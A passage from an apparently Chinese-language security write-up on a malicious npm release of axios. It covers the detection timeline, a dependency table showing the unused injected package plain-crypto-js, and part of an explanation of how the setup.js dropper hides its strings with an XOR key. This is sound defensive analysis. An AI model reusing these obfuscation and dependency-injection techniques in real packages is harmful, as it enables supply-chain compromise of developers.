1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-31 ~09:30</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">StepSecurity 检测到异常</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">StepSecurity AI Package Analyst 和 Harden-Runner 在运行时验证中捕获到 C2 通信，确认为恶意包。</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-31 ~10:00+</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">社区响应</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">安全研究员 @feross 等人在社交媒体发出公开预警。npm 官方开始处理。</span></p></td></tr></tbody></table></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">所有合法的 axios 1.x 版本均通过 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">GitHub Actions + npm OIDC Trusted Publisher</span></strong><span leaf=""> 机制发布，发布行为与特定 GitHub Actions 工作流密码学绑定。</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios@1.14.1</span></code><span leaf=""> 完全打破了这一模式——通过窃取的长期经典 npm Access Token 手动发布，没有 OIDC 绑定，GitHub 仓库中也</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">不存在</span></strong><span leaf="">对应的 commit 或 tag。该版本</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">仅存在于 npm 注册表中</span></strong><span leaf="">。</span></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">三、攻击链路详细技术分析</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">3.1 整体攻击链</span></h3><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.55859375" data-type="png" data-w="1024" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" title="null" data-imgfileid="100003082" src="https://wechat2rss.xlab.app/img-proxy/?k=c5d8df2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FJ8Ev2iczlWG3KQsuThB352MX2SibDhUIBB8x7Ticjl5XbsiboAdJ1j1Ima062rfwZCkhAIZD02XWiaibHWkfN5IekicFjbybkhj0SusSS3KEwTLmicI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">3.2 幽灵依赖注入</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">axios 源码中 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js</span></code><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">从未被 import 或 require()</span></strong><span leaf="">。对比依赖差异：</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">版本</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">依赖列表</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">状态</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">axios@1.14.0</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">follow-redirects, form-data, proxy-from-env</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">安全</span></strong></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">axios@1.14.1</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">follow-redirects, form-data, proxy-from-env, </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">plain-crypto-js@^4.2.1</span></strong></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意</span></strong></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">axios@0.30.3</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">follow-redirects, form-data, proxy-from-env</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">安全</span></strong></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">axios@0.30.4</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">follow-redirects, form-data, proxy-from-env, </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">plain-crypto-js@^4.2.1</span></strong></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意</span></strong></td></tr></tbody></table></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">仅新增了一个从未被使用的依赖</span></strong><span leaf="">。</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">3.3 投放器 setup.js 混淆技术</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">setup.js</span></code><span leaf=""> 是一个单文件混淆投放器，采用 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">双层混淆方案</span></strong><span leaf="">：</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">字符串编码数组 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">stq[]</span></code></strong><span leaf=""> — 所有敏感字符串（模块名、OS 标识符、Shell 命令、C2 URL、文件路径）均以编码值存储。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">解密函数：</span></strong></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_trans_1(x, r)</span></code></strong><span leaf=""> — XOR 密码。密钥 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&#34;OrDeR_7077&#34;</span></code><span leaf=""> 通过 JavaScript </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Number()</span></code><span leaf=""> 解析：字母产生 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">NaN</span></code><span leaf="">（位运算中变为 0），仅第 6-9 位的数字 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">7,0,7,7</span></code><span leaf=""> 